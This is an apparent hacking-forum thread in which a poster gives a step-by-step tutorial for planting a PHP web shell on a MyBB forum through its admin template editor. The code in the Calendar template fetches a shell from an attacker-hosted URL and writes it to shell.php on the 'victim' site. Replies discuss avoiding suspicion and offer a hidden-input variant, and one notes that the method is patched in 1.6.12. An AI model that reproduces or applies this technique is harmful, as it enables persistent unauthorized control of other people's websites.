[Lain]

The Background
So, you've gained access to the forum's admin panel, but now you want to upload a shell.

What you'll need.
A hosted shell, saved as a .txt file.
Access to the target's MyBB control panel.

How to do it.
Login to the Admin control panel. Navigate to Templates & Style > Templates > [THEIR THEME NAME] Templates > Calendar Templates > Calendar

Now, modify the following with the URL of your hosted shell:

PHP Code:

<?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?>

Click save and open calender.php (yourvictim.com/calendar.php), then you can navigate to (yourvictim.com/shell.php) and congratulations, you did it!

If you need any help with this, be sure to let me know. :3

[Satan]

How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?

[3SidedSquare]

Code:

function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";

I'm sure there are better ways, but this is what I came up with off the top of my head.

[Satan]

Code:

function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";

I'm sure there are better ways, but this is what I came up with off the top of my head.

I don't know PHP, so I have no clue what this would do, or if it was even a reply to what I had asked about lol.
Can you provide an explanation of what it does?

[Lain]

Code:

function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";

I'm sure there are better ways, but this is what I came up with off the top of my head.

That wouldn't work. Once in the browser, there's no access to PHP functions without JavaScript.

---

How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?

You could include the code at the top of the calendar templates.

[Satan]

That wouldn't work. Once in the browser, there's no access to PHP functions without JavaScript.

---

You could include the code at the top of the calendar templates.

Ahh okay, thanks. Didn't even think about that.

[BreShiE]

How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?

It doesn't overwrite the calender. If you read the code you can clearly tell this. It grabs the text from the uploaded .txt file, and uploads it to "shell.php".

[Lotus Black]

Thanks for this tutorials, Bro

[Lain]

Thanks for this tutorials, Bro

No problem, Mang.

[pr0st]

doesn't work anymore. I guess it was fixed in 1.6.12